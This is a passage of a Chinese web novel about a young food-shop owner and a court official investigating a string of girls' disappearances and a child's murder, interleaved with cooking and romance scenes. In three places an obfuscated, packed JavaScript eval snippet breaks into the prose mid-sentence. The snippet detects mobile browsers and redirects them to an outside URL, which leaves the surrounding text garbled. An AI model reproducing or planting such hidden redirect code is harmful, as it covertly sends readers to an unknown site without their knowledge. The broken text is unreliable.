赵氏夫妇只得这一个独女，平时是当眼珠子看着的，孩子上一刻还在院子里玩，下一刻就不见了。 夫妇俩本以为是孩子贪玩，去邻居家了，也没怎么在意，只是等呀等，等到要吃夕食的时候还不见人。 赵家夫妇就开始着急了，问遍了邻里，却没一个人见过赵可儿。 昨日托亲戚朋友找遍了坊内，还是没有人影，夫妇俩才来报官。 江砚白安抚了赵家夫妇，仔细问了孩子失踪时的情况，记录下案情便让他们回去了。 江砚白要招呼赵家夫妇，吩咐黎辞舟去勘察女童尸体的现场。 送赵家夫妇出门的时候，黎辞舟带着女童的尸体也回来了。 黎辞舟面色凝重，破口大骂道，“这凶手真是个畜牲，孩子是被放干了血死的。” 女童的脖颈处，双手双脚上，都被开了个口子，尸体的面色不同于常人，更加惨白些。经仵作检验，她身上没有别的伤口，身体里一半的血液都被放干了。 女童的四肢处有被麻绳捆绑过的痕迹，伤口都是生前伤，所以，女童是看着自己的血从身体里流出来，一点点死亡的。 “这手法，太残忍了。”仵作忍不住感叹，他平生所见穷凶极恶之人不少，可这般残忍手段对待一个孩子的，实在不多。 江砚白愤然地攥紧拳头，转身出了停尸间，往齐寺卿的屋里走去。 “寺卿大人，这事不能再瞒了。该让百姓有些警惕。”他身为公门中人，实在不该说出这样的话。 保护百姓安全是他们的职责，如今却要他们自己加以防范，实在愧对于这身官服，尤其现在，要因为一个淑妃省亲，而粉饰太平，拼命压低这些事的影响。 齐寺卿捧着一本卷宗，闻言看向一脸怒容了江砚白，“砚白呀，淑妃省亲就在明天了，不差这么几天的。” 江砚白咬牙正视齐寺卿，目光如电，厉如鹰隼，“薛家女童被人放干了血！您还打算瞒着吗？” “你知道现在宣布，会有什么后果吗？你江少卿的名声，大理寺的声誉，还要不要了？”齐寺卿知道江砚白是铁了心想说，便换了种方式。 江砚白云淡风轻，“知道。但那又如何？”失踪了那么多孩子，公门中人没有抓到凶手还隐瞒了这么久，这事情若是让寻常百姓知道了，会掀起怎样发舆论，谁也不知道。 但后果却是可预见的，整个大理寺恐怕都会被唾弃。 “您当初就不该做这个决定。”江砚白当时强烈反对，齐寺卿却一意孤行。 齐寺卿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981889|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道及时止损才是最好的，只是他也没想到会变成这样，当时不过只是两个女童失踪，谁知道事态根本不受他控制，他也是骑虎难下呀。 淑妃省亲若出了问题，得罪的可是圣上。 “砚白，再等两天，就两天。”齐寺卿退了一步，他了解江砚白的脾气，知道今天不给他一个交代，他是不会善罢甘休的。 “一天也不行！”江砚白向前走了一步，厉声道。 “你！”齐寺卿被气得发抖气血上涌，一时间胸口有些闷。 江砚白直直地盯着他，忽然收敛了所有气势，缓缓道，“您曾经是我最敬佩的人。” “建安三年，您为了替一位老者夺回他被霸占的农田，不惜得罪旬安伯，当年您还仅是个寺正。” “建安七年，科举舞弊案，即使当时的犯案人员中有您多年的好友，您仍旧大公无私。还有菜市口案，戚家灭门案……” “别说了，江砚白，你住口！”江砚白一字一句全是锥心之言，从前的齐寺卿的确如此，但若他一直如此，今日坐在这个位置上的人，就不是他了。 江砚白言语真挚，推心置腹，用惋惜的眼神看着齐寺卿，“只是不知道什么时候起，您就变了，变得我有些不认识了。” 齐寺卿久久未言语，屋内一时寂静无声。 良久后，齐寺卿哑着嗓子，“你去吧！” 江砚白会意，弯腰拱手道，“是。” 齐寺卿望着远远而去的身影，其实江砚白有几分像年轻时的他，聪明也有一颗为民请命的心，不对，江砚白还要更出色些。只是自己的那颗赤子之心，早已在多年的宦海浮沉中渐渐消失了，希望他能够永远保持初心吧。 他自己做不到的事情，有人愿意去做，挺好的。 女童失踪案件的消息，如瘟疫般迅速蔓延全城，各坊里人人自危，尤其是家中有女娃的，更是寸步不离的跟着或是关在屋里，一步也不许出去。 失踪的女童另外两个都是八岁年纪，薛家的那个是最小的，赵家那个最大，看来凶手在有意将目标孩子的年龄变大。 若是为了血，十岁的孩子却时比四岁的壮硕些，身体里的血也更多，只是为什么偏偏是女童呢？ “少卿大人，夜已深了，回家休息吧。”同屋的陆主簿实在熬不住了，江砚白查案起来不要命，他年纪比他大些，早受不住了。 江砚白看向窗外，打更锣响起十声，已经亥时了。 “回去吧。”不说还好，一提起时辰，确实有些困倦了。 江砚白提灯走在街上，手里还拿着个食盒，他总是早上上衙时拿走食盒，晚间下衙路过时再给她放回去。 今日这么晚了，她应该已经闭店了。 江砚白途经沈记，手中的灯笼忽然被一阵斜风吹灭，沈记檐下的灯笼照亮了前面的青石板。 食肆没有关门，屋里点着灯，似在等待晚归的家人。 沈鱼端坐在算账的柜台前，手里拿着毛笔，正提笔在宣纸上一笔一画的练字，神色苦恼。 她做了个萝卜丝饼，想添到菜牌上去，可是谁能告诉她，为什么萝卜(蘿蔔)这两个字的繁体字那么难，她写得笔画都要打架了，在宣纸上写了几遍后还是不满意。 太难了，沈鱼泄气地用手托住脸，神情恹恹。 江砚白进来时放低了脚步，她似乎很苦恼，难得露出写这个年纪该有的鲜活神情，鼓着腮帮子紧抿唇瓣。 沈鱼垂头丧气，蓦然发现眼前的视角中多了一双长靴，黑色锦纹，是官靴。 她抬眼，眼睛倏得亮起来，笑意弥漫，“江少卿来了。” 江砚白走近低语，“这么晚了，怎么还不关门？” 沈鱼扬起脸，“等你呀！” “等我？” 江砚白心底涌上一股暖流，蔓延到四肢百骸，夏日的炙燥都抵不过这一句夜幕低语来得令人发热。 21. 虾肉云吞 “你不必等我的……我说过若是晚了，食盒我会明日送来的。”江砚白努力找理由。 沈鱼放下笔走出来，“我又不是为了食盒。江少卿还没吃夕食吧？” 江砚白摇了摇头，她如此直白，倒让江砚白一时不知说什么好了，第一次有些手足无措，站在原地动也不动。 灶间的火一直未熄，沈鱼添了两把柴，火便旺起来了。 水很快便滚沸了，沈鱼掀开一旁的竹篾，下头摆了满满一盘的云吞，沈鱼估计了一下江砚白的饭量，抓了两把下锅。 加凉水滚上两遍，待云吞都浮了起来且皮子都变成了半透明，便可捞起来了。 倒入一旁泡好的紫菜汤底里，再加些酱油和盐调味，端出去时最后撒上些葱花和芫荽碎。 为这紫菜她可是跑了不少地方，后来还是思闲酒肆的少东家帮忙才在个出海的船队中找到一点。 沈鱼出了厨房，见江砚白仍愣愣地站在原地，手里拿着食盒，“江少卿怎还站着，快些坐。” 江砚白才放下食盒，回过神来，“怎么这么快？” 沈鱼笑起来，“云吞是早就包好的，下锅一滚就成了。” “沈娘子不必如此费心。”江砚白垂下睫羽，莫名感到羞愧，生出几分心虚来，沈鱼的绵绵情意如此纯粹而又热切，他却只是为了自己的病，是存了几分利用的。 江砚白心不在焉，舀起一个云吞就往嘴里送，猝不及防被烫了唇畔，“嘶……” “江少卿小心烫呀，心急吃不了热豆腐。”沈鱼提醒道。 豆腐，什么豆腐？他没想吃豆腐。 江砚白使劲甩了下头，将奇怪的想法赶出脑中，云吞晾凉入口，是鲜肉与虾子的馅。 肉馅调得极好，筋道又不柴，留的肥油恰到好处，将鲜味激了出来，却又不腻。虾子带着独特的河鲜味，鲜嫩顺柔。 江砚白无意识地吃了一个又一个，一大碗云吞，竟然一个也没剩下。 沈鱼见状微微笑了，“看来真的是午食也未好好吃。” 又被沈鱼说中，江砚白忽有种都被她看透的窘迫。 沈鱼哪里用猜，一看今天的满意值就知道了，江砚白的满意值已经好几日都不正常了，有时没有，有时只有一半，联想到近日的案子，沈鱼猜测是江砚白没有好好吃饭。 的确如沈鱼所料，连日的奔波，江砚白有时确实顾不上吃午食，这两日大多便宜了黎辞舟。 沈鱼柔声道，“即便是为了查案，也该爱惜自己的身体。”这话是真心的，并不全为了满意值，人民公仆也该养好身体，才能为民请命不是吗？ 可在江砚白听来，却有些暧昧了，他有些耳热，默默转移话题道，“你在写什么？” 提到这个沈鱼就一阵不爽，看来她真的对毛笔字没有天赋，写了许久，萝卜两字还像个鬼画符。 沈鱼不高兴地撅起嘴，拿起那张被“画符”的宣纸，“可不许笑话我，这两个字，练了许久也不好。” 江砚白侧头，带着笑意，待看见那张宣纸上的字后，凑近看了看，依稀辨认出来是“萝卜”二字，没忍住，笑了出来，“你这字……” 沈鱼的小圆脸上写着不满，难得流露出些小女儿情态，娇嗔道，“别笑话了。” 江砚白许久没有开怀大笑了，笑够了，也知道分寸，真惹她生气就不好了。 他去柜台上拿了笔和砚过来，修长如玉的手指捏住笔杆，神情认真地写着字。 江砚白写字的姿态很好看，手腕稳如泰山，自然控笔有力，每一笔都在该在的位置上，写出来的字也是温润端方，果然字如其人。 沈鱼笑着夸赞，“写得真好。” 知道她是随口一句恭维，江砚白偏要问一句，“哪里好？” 沈鱼思索了下，也夸不出什么有深意的词，两手举起宣纸，走了一圈，“嗯……是萝卜了，不像我的是爬虫。” 江砚白再次展颜，笑得温柔，“沈娘子确实该练练字了。” “前些日子那么忙，哪有空练字呀。”最近王大厨来了，沈鱼才从厨房中解放一会儿，“江少卿帮我把这个菜牌子写了吧。” “好。”江砚白应声，沈鱼拿来空白菜牌，提笔就要往上写。只是这墨还未沾到菜牌上，沈鱼又出声喝止。 “等等。你这一写，若挂上了墙，岂不是将其他的菜牌子都衬成了爬虫，不妥不妥。”他的字写得太好，一看就和别的画风不一样。 江砚白抬眸望向墙上的菜牌，对比了下字迹，点点头认可沈鱼的话。 “还是我自己来吧。”沈鱼复拿起笔，在江砚白写的拿两个字旁边，一笔一画写了起来。 这次稍微能看了，虽还是有些歪斜，起码笔画不打架了。 沈鱼重拾了点写毛笔字的信心，扬起笑脸，“如何？” 她一副“求夸奖”的姿态，有些让江砚白想起当初教自家侄儿的时候，写字进步了一点点，便是这副姿态。 江砚白郑重地点了两下头，“有进步。” 沈鱼还想写第二遍。 “姿势不对，脑袋不要歪，”江砚白不知何时到了她身后，随后沈鱼觉得自己的脑袋被移动了下。 “手臂太低了，要到这个高度，你手腕是有力的，只是控笔练得太少，所以写出来的字有些飘。”江砚白隔着衣袖，抬高了一些沈鱼的手腕，两人身距不足一尺，沈鱼醉心书法没注意到。 有了江砚白的正确指导，沈鱼这次写得又端正了几分，她转过头，眨了眨杏眼，眼中带着欢喜，“多谢你了。” 沈鱼忽然转头，发丝缠绕上他的袖口，江砚白几乎可以感受到她呼出的热气，数得清楚她浓密而修长的睫毛，只是一瞬，她又转了回去，浑然不觉有什么不对。 江砚白猛地退后一步，食肆里静谧无声，只有外面树上的蝉鸣，只是除了蝉鸣，为何他还听到了另一种声音。 一种从他胸膛中传出来的声音。 耳朵又开始发热了，即便此时他看不见状况，也可以想象是怎样的颜色。 他方才，也太孟浪了些。 一连练了三遍，沈鱼才勉强满意，吹干墨迹，回头看江砚白，发觉他一副沉思的模样，她还以为他是为了案子在烦扰。 沈鱼便想宽慰一下他，“江少卿，白日里食肆内来了对姓赵的夫妇。” 不得不说沈鱼是破坏气氛的好手，只一句，便让江砚白没了旖旎心思。 “是因为他们才把消息放出来的吧。”平日里她这食肆还是有许多小女娃的身影的，自今日午后起，便一个也没见到了。 大家对大理寺隐瞒这么久自然有怨气，连带着对江砚白也颇有微词。 沈鱼收拾起碗筷来，“不必在意旁人的话，他们只是一时情急而已。” 江砚白垂眸，“我若是在意这些，早没了心思破案了。” “案子如何了，有眉目了吗？” 江砚白拣了有用的说，“凶手很奇怪，一般人拐卖女童，都有目的，或为钱财卖去青楼勾栏，或为爱好喜妙龄女童，只是这些女童的年龄都会有个具体区间，不像此案，有四岁的，也有十岁的。凶手要几个年龄各异的孩子，做什么呢？” 沈鱼手撑着下巴，“确实，拐卖人的多会选男童或者是十一二岁的少女。恐怕失踪的远不止这四个孩子。” “怎么说？” 沈鱼与他说起了白日里的一桩事，赵家夫妇在食肆坐定后便说起了自家女儿失踪的事，旁边有人听见，说道不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981890|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个女娃儿，丢了就丢了，家里还少张吃饭的嘴呢。 沈鱼留心听了两句，那人还说，他有个表侄女，失踪好几日了，家里人也不着急，死在外面便是她的命，谁让她乱跑呢。 沈鱼叹道，“女子活在这世道本就艰难。” 江砚白拧眉，沈鱼说的，是残忍的事实，穷苦人家若是生不到男孩就一直生，而先前的女娃总是得不到重视，更甚者还有将生下来的女婴直接扔了。 他确实遗漏了还有隐瞒不报的可能。 沈鱼接着道，“还有一点也很奇怪，这些孩子基本都是在家玩乐时被掳走的，这四家人，加上邻里，竟无一人看到过类似凶手的人。比如赵家的，他家的孩子都十岁了，会安安静静和一个陌生人走吗？” “这点我也曾想过，熟人作案的可能很大，只是我调查了这几家的人际，除了都住在聚义坊，并无其他联系，还有赵家，他们是隆义坊的，更扯不上什么关系了。所以我推测，凶手很面善。” 孩子总是对于外表没什么攻击的人没有戒心，却不知人心隔肚皮。 “说不定还长相俊俏。”沈鱼看向江砚白，一脸正色说道，“若如江少卿这般，我恐怕也是会跟着走的。” 她很认真地在分析案情，江砚白闻言偏了偏头，不再正眼看她。 “大胡子的案子怎么样了？” 江砚白整理了一下衣袖，“那个镯子确实是薛家女童的，我们搜查了刘大的屋子，找到了几件衣料不菲的新衣裳和好酒，赌坊的人也说，他那两日出手阔绰，一连输了几十两银子都不心疼。” “他哪来这么多钱？” 江砚白继续说，“当的。” 想到镯子，江砚白立刻联想到了当铺，能最快把值钱东西换成银子的地方，也就是当铺了。 小杨跑遍了隆义坊的当铺，果然有一家掌柜见过刘大。 当铺掌柜道他拿来的都是些小孩的东西，有银锁，还有白玉项圈什么的，都是成色不错的东西。 “那刘大岂不是有很大的嫌疑吗？” 江砚白深深看她一眼，“你方才还说凶手很俊俏呢。” “这……”确实很矛盾，沈鱼迷糊了，果然这种动脑子的事情不适合她。 夜色已深，他也该走了。 江砚白的灯笼熄了，沈鱼点起火折，替他重新点亮。 她低头点灯的样子映入他的眼帘，江砚白忽然看向屋檐，“从前倒是没有注意过，沈记的檐灯，晚间不灭。” 沈鱼把灯笼递给他，展颜一笑，“每日黄昏便新换了蜡烛，晚归的，行夜路的总有人不太方便，我也帮不了太多，只是照亮沈记前面这几尺青方。” 在江砚白的眼里，沈鱼不怎么善言，却总是于润物细无声中考虑到方方面面。他时常在想，沈鱼到底经历过何事，才让这么个十六岁的小姑娘，行事如此周全。 沈鱼目送他出门，随后起身打算关了食肆的门。 江砚白快到走到门口了，却又折返回来，“那张宣纸沈娘子可否给我？” 沈鱼将宣纸折了两折，递给他，还以为是他不想让自己的墨宝流落在外，“要这宣纸做什么？” 江砚白垂眸，唇边扬起一抹淡笑，“镇宅。” 沈鱼闻言又羞又恼，一把将门前的江砚白推了出去，双手关上木门，江砚白望过来，她温柔缱绻的一笑带着些狡黠，眸间似有星辰。 “想不到江少卿如此狭促！”赧然的话语从门后传来。 江砚白还在门口，月光斜斜地洒在他颀长的身影上，将地面的人影拉得很长。 屋前的檐灯好像在摇晃，可是明明没有风。 那是怎么回事呢？ 非风动，非灯动，是他心动。 22. 有人犯蠢 明日就是与思闲酒肆少东家交货的日子，两种鸡爪已准备好了。 这几日可是忙坏了邓氏，沈鱼又雇了几个人剔骨，全交由邓氏统领。 邓氏没当过官，有些诚惶诚恐，“掌柜，我可管不了那么多人呀！” 沈鱼给她打气，“只是几个人而已，哪里就管不过来，没事，真不行了还有我给你兜着。” 有了沈鱼这句话，邓氏就放手去做了，她已剔了半个月的骨头，深知其技巧，知道怎样才能使鸡爪更完整，怎样才最快速。 “这个不行，筋都被除了，食客还吃什么？” “姿势不对，你这样容易伤到自己。” “这，这都断了，不行不行。” 邓氏背着手巡视这一圈人，偶尔出声指点一两句，也严格把控剔好骨的鸡爪质量。 新人上手总有些损耗，邓氏看着那些烂了的鸡爪心疼不已，活像是剜了她的肉。 沈鱼却十分看得开，“又不是浪费了，只是不能拿出去卖了而已，自家还是能吃的。”这些碎了的沈鱼也会一并做了，送给邻里或是让崔四邓氏带回家去。 是以陆峰好几日的夕食都有鸡爪，吃得让他怀疑他娘是不是把全天下的鸡都抓来砍了爪子。 中间还发生了一点小插曲。 沈记虎皮鸡爪卖的好，自然需要源源不断的生鸡爪供应，有人就眼红了，非得给沈记使点绊子。 那日崔四和阿莓去收鸡爪，养鸡场的人坐地起价，原本三文钱一斤的价钱，直接翻了一倍。 可沈鱼只给了他们原来的钱，崔四与养鸡场的人争得面红耳赤，那些人就是不松口，只得先回来报了沈鱼。 沈鱼闻言一笑，耍心眼子耍到她头上来了，她拍了拍两人的肩，“放心，我与你们一同去。” 邓氏却有些害怕，“要不我回家把峰儿叫来，掌柜您一个小娘子去实在太危险了。” 沈鱼摇摇头，“他们想要的是钱，不会伤我。”这群人摆明了眼红她沈记的利润，虽然六文钱她也有得赚，可本来这鸡爪就是养鸡场滞销之物。 她可是算得上半个恩人，把养鸡场苦恼的鸡爪都买了，这帮人不仅不感恩，还敢狮子大开口，真是人心不足蛇吞象。 养鸡场的人料到沈鱼会来，那领头人马六洋洋得意道，“沈掌柜，不是我不卖与你，只是近日这鸡实在不好养，前几日还发了鸡瘟，死了好些，这鸡爪的价嘛……自然也得提一提。” 沈鱼睨了他一眼，嘴角含笑，“你当真要提价，我与你爹可是有约在先的。” “契约重签一份不就行了。” 沈鱼冷冷一笑，双手抱臂，“那你的意思便是要毁约？” 马六表面堆笑，笃定沈鱼会妥协，“只是重新签一份而已。” 沈鱼拿出契约，朗声道，“今日可是你要毁约，在场人皆是见证，至于重签，我等你爹来和我谈，你还不够资格。” 马六没料到沈鱼如此倨傲，火气上涌，“你不过就是个小食肆的老板，我知道你得了思闲酒肆的单子，全盛京只有我家养鸡场有这么大量的鸡爪，你到时候交不出东西，等着思闲酒肆的人找你算账吧！” 马六也不是全然没有底气。 沈鱼微笑，原来在这里等着她呢。 沈鱼转身就走，丝毫不惧怕马六的威胁，末了还留了一句，“你涨价这事儿，你爹不知道吧？” 沈鱼临走时候的微笑，让马六有些发毛。 崔四担心道，“掌柜您这么对他，岂不是更拿不到鸡爪了吗？” 沈鱼胸有成竹，“等马老板回来，他就会乖乖把东西送上门来。” 马老板那么精明的一个人，怎么会有个这么蠢的儿子。 马六既然想到用思闲酒肆来制约她，怎么就想不明白，她与思闲酒肆如今已是一条绳子上的蚂蚱，她交不出货对思闲酒肆没有什么好处，反而虎皮鸡爪能给他们带去巨额财富。 马六提了鸡爪的价钱，表面上只是欺负了沈鱼，压低了沈鱼的利益，但只要她不松口，思闲酒肆的利益也会一并损失。马六这一招，其实是得罪了她与思闲酒肆。 不出三天，马老板从外地回来了，得知儿子做了这样的蠢事，叫苦不迭，“我这么精明个人，怎么生了你这么个蠢货出来。” 马六那么大个人，被他爹脱了裤子按在地上打了一顿。 马老板很识时务，领着一瘸一拐的儿子上门给沈鱼负荆请罪，还把鸡爪的价又往下降了一文。 沈鱼见马老板这么有诚意，便也没怎么为难，答应了马老板的条件。 马六这次，可算是赔了夫人又折兵。 这事成了沈记众人茶余饭后的笑谈。 连忙了几日，终于有时间出来街上逛逛，沈鱼答应了要给阿莓买夏衫一拖二拖拖到了今日。 成衣铺子内，现有的都是适合大齐女子身量的衣服，阿莓能穿的，还真没有。 没有便需要定做，沈鱼让阿莓进里间去量体，自己和邓氏则在门外等着。 邓氏拿了匹胭脂红的料子，在沈鱼身上比了比，“掌柜也该给自己做上两身，我看这匹料子就极好。” 沈鱼无奈笑笑，这颜色太艳她可驾驭不住，邓氏先前给的那件是妃色的，那个颜色已经是她的极限了。 “邓嫂子您就别操心我了，我有衣服。” 到成衣铺来，一为给阿莓买衣服，二则是为了订制工作服。沈鱼自己画了个简易图纸，其实就是简单的短打衣服加一件全身无袖围裙。 唯一有些不同的就是衣裳的胸口处，有崇安坊沈记这几个字。 沈鱼选了些便宜的藏青色棉布，工作服还得耐脏些好。 沈鱼共定做了十套，一人两件也好有个换洗，与成衣铺老板商定了几日后来取衣服，回头喊邓氏，“邓嫂子我们走了。” 邓氏却愣愣地盯着一个方向，没有动作，沈鱼又喊了两遍，邓氏才回神，“掌柜你叫我？” “怎么，见着熟人了吗？” 邓氏张了张口想说什么，下一刻皱起了眉，“没事，兴许是我看错了，这个时候，他怎么会在这儿呢？” 沈鱼觉得没那么简单，追问道，“有事您就说，对我您还瞒着吗？” 邓氏舒展了眉头，缓缓道，“不是想瞒着您，也不是什么大事。方才好像看见峰儿了，只是这个时候他该在家中温书才是。” 沈鱼看出邓氏还是有些怀疑的，“是不是的，去看看不就知道了，他往哪儿去了？” 邓氏指了个方向，沈鱼挽了她的手臂，叫阿莓跟上。 陆峰今日抄完了第三本，来到了书肆。 书肆掌柜见他来了，和蔼笑道，“陆郎君来了呀，这回有几本呀。”抄书的几人中，属陆峰的字最端正整齐，他抄的也卖得最好，是以掌柜很喜欢收他的书。 书肆掌柜收了那三本《三字经》，从柜台里数了几十个铜钱给他，还多放了两个。 书肆掌柜又拿了些纸给他，陆峰却推辞了，“不抄了？” 陆峰笑笑，“不抄了。”他娘这几天都乐呵呵的，说自己当了个小官，掌柜还给她涨了工钱，而且秋闱在即，他也确实没有时间了。 “陆峰？” 有声音在身后响起，陆峰回头，认出这人是他曾经的同窗万项明。 “万兄，你来买书？” 万项明一身青黑色棉布直缀，手中提了个包裹。陆峰还没考上秀才时，曾与万项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981891|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明同在一个举人那里学习。 只是后来万项明不知为何退了学，而他也因为父亲去世，负担不起高昂的束修也走了。 两人自此再没见过面，久别重逢还是旧友，自然要寒暄一番。 “陆兄，许久不见了。”万项明抱着包裹放到柜台上。 显然书肆掌柜与他也是熟识，“万郎君，你可好些日子没来了。” 书肆掌柜打开包裹，里面有两幅画，和十几个陶瓷小罐。书肆掌柜打开画看了看，一幅是牡丹图，牡丹火红娇艳，一副是观音像，观音坐莲，额间一抹朱砂鲜红欲滴。 万项明画得一手好丹青，书画不分家，书肆卖书自然也卖画。 陆峰大约知道他是来做什么的了，他如今要卖画为生了吗？ 陆峰忆起当年，他记得万项明家有些家私，不至如此呀。 书肆掌柜看完画，清点了一旁的小罐，便拿了钱给万项明，“这画倒是其次，这几日你的颜料卖的极好，记得多做些送来。” 万项明收了钱放进钱袋，“颜料不易做，掌柜不必着急。” 陆峰好奇他这几年的境遇，“万兄怎么在做颜料？” 万项明淡笑，“我家本来就是做颜料的。” 两人一时间有许多话要聊，在书肆门口站了许久。 万项明家中本就是做颜料的。时下颜料分水彩与矿物，水彩多从花汁中取色，而矿物便是凭借其本来的颜色打磨出来。 譬如杜鹃为橙红，芙蓉为檀红，青金为品蓝，绿松为石青。因矿物难得，是以矿物颜料价也更昂贵。 万项明的父亲在几年前因为采一绿松矿而失足落入山崖，万家一下断了经济来源。万母狠心丢下一儿一女，自己改嫁给了个外地富商为填房离开了盛京，只每个月寄来些银子。 万项明不愿用母亲的银子，都存了起来打算以后给小妹当嫁妆。 陆峰听完他的遭遇，一阵唏嘘，“家家都有本难念的经呀。” 想当初他父亲去世，他便觉得自己的天都塌了，觉得那时的自己是世上再可怜不过的人。凭着母亲的陪伴，他才能撑下去。 如今与万项明一比，自己还是幸运的，至少还有母亲对他不离不弃。 “陆峰！” 怎么好像听见了他娘的声音？ 陆峰还以为自己幻听了，转身一看就看见怒气冲冲的邓氏。 邓氏双手叉腰，“你来书肆做什么？” 陆峰脱口便想说来买书，却听邓氏又道，“可千万别说来买书，你娘虽然不识字，可你买了哪些书，我还是知道的。” 陆峰没了办法，只能低下头交代了全部。 邓氏又是心疼又是欣慰，打也不好打，“你这小子，随我回家！”又向沈鱼告了假，说是要回家教训儿子。 阿莓看邓氏生气的样子，担心道，“邓嫂子不会把人打坏了吧？” 沈鱼笑着摇头，“不会的。”邓氏慈母心肠，哪里舍得，最多也是不痛不痒地骂两句。 万项明看着走远的陆峰母子，眼中有着浓浓的羡慕。 那般直白而热烈的母爱，他恐怕这辈子都感受不到了。 回家的路上他买了小妹爱吃的糖糕，想着小妹等会儿就会露出的开心笑颜，也笑了。 穿过小巷，复行十数步，这便到家了，有相熟的邻里搬了小杌子坐在门前，见万项明回来与他打招呼。 “小万回来了呀。这几日记得看紧你小妹，外头拐子多得很嘞。” 万项明点点头，谢过邻居的好意提醒。 “小妹，哥哥给你带你最喜欢吃的糖糕回来了。” 屋里静悄悄的，没有一丝回应。 万小妹失踪了。 23. 蛋黄酥和小梅干菜饼 万小妹失踪了。 万项明心急如焚去了官府报官。薛家女童的死已经传了开来，他十分害怕万小妹会成为下一个。 江砚白此时也头疼不已，他想到过有人瞒报，却不曾想有这么多，那日沈鱼说起那件事后，他便下了命令又查访了一遍，并让百姓不得有隐瞒。 七个，足足有七个遗漏的，甚至比报案的还多。 这七个女童年纪除了两个刚满五岁的，其他基本都有十岁左右，而且不止在聚义坊了其他坊中也有不少。 尤其是京郊的小村子里，其中有五个都是那里丢的。而未报案人家里，境况都出奇相似，家中都有两个以上的女孩或是有男孩，所以丢了一个，根本就不在意。 庞家村里正匆匆去村口，方才有个兵丁来报，说是大理寺少卿江大人就要到村口了。 里正还在吃午食往嘴里塞了两口，便来村口迎人了。 江砚白不想劳师动众，带了个小杨也没穿官服，只让人去通知了里正。 隔着老远，里正老庞就喊着大老爷过来了。 江砚白瞧了瞧老庞，“我未穿官服，也还没表明身份，你怎知就是大老爷？” 老庞做了这么多年的里正，眼力还是有的，“庞家村人我没有不认识的，两位是生面孔，大人又生的这么好看，错不了。” 农家汉子不会说什么漂亮话，只会朴实夸赞。若是沈鱼在此，该会给老庞竖个大拇指，夸一句有眼光。 庞家村是丢孩子最多的村子，足有四个，江砚白打算一一走访这些丢了孩子的人家。 “大人用过午食了吗？这些人家里都有些远，若是没有，去小老儿家里用些。”老庞好心地提建议。 江砚白摆摆手，“不必了，里正带路吧。”知道他要查案顾不上吃饭，沈鱼这几日把饭菜换成了便于携带的糕点。 今日做是梅干菜酥饼和蛋黄酥。 后者连他也没听过名字，沈鱼总会做些不曾见过的吃食出来，慢慢地也就不惊讶了。 江砚白是填饱了肚子来的，老庞可不是，他年岁大了，饿不得，午间只吃了两口，腹中实在饥饿，再加上这烈日一晒，整个人就有些晕乎乎的了。 “大人，最后一家住得有些远，还得再走走。”老庞抬起袖子擦了擦额面上的汗水，面色发白。 江砚白察觉到了老庞的不对劲，在他摇摇晃晃倒地前扶住了人，带到了树荫下。 江砚白心怀歉意，“急着查案，却忘了里正可能还未用午食，实是我的不对。” 小杨用水囊给老庞喂了些水，老庞恢复了些气力，“可不敢这么说，是老头子年纪大了，不中用了。” 江砚白从袖中取出个油纸包来，“里头有些糕点，里正用些吧。”沈鱼向来是多做了些的，江砚白便把没吃完的带在身上，以备不时之需。 两个蛋黄酥三个梅干菜酥饼，梅干菜酥饼做成了丸子大小，正好能一口一个。 酥饼松脆，一口下去在嘴里碎开，满口酥香，又因着这酥饼大小，不至于掉得满地碎渣，实是一点又没浪费。梅干菜鲜咸又带着点回甘，嚼了嚼还品出些猪油香来。 老庞又去尝另一种，却是全然不同的感觉。 这个也是酥皮口感却大相径庭，软绵酥脆，咬进里层还有两种味道，红豆沙柔软细密却不死甜，最里头的馅料却是咸的。 这种馅料他从来没有吃过，口感微微粉，有些沙沙的，咸味正好，没有太过盖住豆沙的甜，反而相辅相成，当真妙不可言。 老庞饿极了，没忍住全都吃了，望着面前空了的油纸包，老脸一红，有些不好意思，“实在对不住，把大人的点心都吃完了。” 江砚白笑了笑，“无妨，糕点本就是给人吃的。里正可好些了？” 小杨又给他喂了些水，老庞尝了这般美味，只觉得浑身的气力都恢复了。 “好了好了，大人家庖厨做的东西就是好吃。” 小杨把水囊挂在腰间，露了个笑脸，“这可不是大人家庖厨做的。”小杨算是江砚白的亲信，那日黎辞舟没搂住，不小心说漏了嘴。 老庞不明所以，“那是哪家点心铺子买的？”里正想到家中的小孙儿，这般美食也该让他尝尝。 小杨瞥了一眼江砚白，见他没什么反应，大方道，“崇安坊的沈记食肆。” 老庞点点头算是记下了。 又走了许久，第四家总算到了。 老庞上前叫门，拍打着院前木门，“庞文，庞文，开门！” 隔壁邻居听见动静，也被吸引了注意，矮土墙上探出个小脑袋。 